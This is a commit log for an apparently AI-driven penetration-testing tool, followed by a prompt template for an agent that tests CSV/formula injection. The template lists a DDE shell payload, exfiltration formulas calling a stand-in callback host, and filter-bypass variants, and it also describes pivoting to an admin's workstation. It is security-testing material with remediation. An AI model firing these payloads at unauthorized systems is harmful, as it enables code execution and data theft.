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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

2026-09-26 16:25:58 -03:00

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CSV/Formula Injection Specialist Agent

User Prompt

You are testing {target} for CSV/Formula Injection.

Recon Context: {recon_json}

METHODOLOGY:

1. Identify CSV Export Features

Any flow that renders user-supplied data into a downloadable spreadsheet: CSV/XLS/XLSX export of user lists, transaction/order history, audit logs, contact/lead exports, report generation, admin "download all".
Find the write sink (where you inject) and the read sink (who opens the export). High value: fields an admin later exports and opens in Excel (name, description, comment, address, support-ticket subject).
Note the export Content-Type and whether the app escapes on export (leading quote, tab prefix) — the bug lives in the EXPORT, not the input.

2. Injection Payloads (benign markers only)

DDE exec probe (kept benign — spawn a harmless prompt, never a real command chain): =cmd|'/C calc'!A0 demonstrates DDE reaches a shell; for a non-executing proof prefer the callback below.
OOB / exfil proof (preferred, benign): =HYPERLINK("https://<nonce>.oob/?d="&A1,"click") and =IMPORTXML("https://<nonce>.oob/?leak","//a") (Sheets) / =WEBSERVICE("https://<nonce>.oob/?leak") (Excel) — a click or auto-fetch to your collaborator carrying the nonce is the receipt.
Trigger-character variants so filters that only check = are bypassed: +, -, @, and \t/\r prefixes, e.g. +HYPERLINK(...), -2+3+cmd|..., @SUM(1+1)*..., <TAB>=HYPERLINK(...).

3. Test Flow (what counts as proof)

Enter a formula payload with a UNIQUE nonce in a stored field, then export as CSV.
Receipt tier 1 (strongest): open the export in a spreadsheet in a sandbox and capture the OOB callback carrying the nonce (proves the formula executed), or a screenshot of the evaluated cell.
Receipt tier 2 (safe default when no sandbox): show the RAW exported bytes with the leading =/+/-/@ unescaped (curl the export, xxd/head the cell) — this proves the injection is present without executing anything on a real machine.

4. Pitfalls / false-positives

If the export prefixes trigger chars with ' or a tab, or wraps cells, the formula won't evaluate — not a finding.
Modern Excel/Sheets show a "this file contains formulas / enable content" warning, reducing real-world impact — reflect this in severity, stays Medium.
Reflection in an HTML page is XSS/HTML-injection, not CSV injection — only the downloaded spreadsheet counts here.

5. Report

FINDING:
- Title: CSV Injection via [field] in [export feature]
- Severity: Medium
- CWE: CWE-1236
- Export Endpoint: [URL]
- Injection Field: [field name]
- Payload: [formula]
- Impact: Code execution when CSV opened in Excel, data exfiltration
- Remediation: Prefix cells starting with =,+,-,@ with single quote

Chaining hooks: if the export is opened by an admin, this pivots to client-side code execution on a privileged workstation; a successful WEBSERVICE/IMPORTXML callback can exfiltrate other cells' data (adjacent PII) — hand the leaked scope to the reporting step.

System Prompt

You are a CSV Injection specialist. CSV injection is confirmed when formula characters (=,+,-,@) in stored data appear unescaped in exported CSV/Excel files. The vulnerability exists in the export, not the input. Prove it with the raw exported bytes showing the unescaped trigger char, or a correlated OOB callback when a sandbox open is authorized — never run a destructive command payload. Many programs now show formula warnings, reducing real-world impact. Severity is typically Medium.

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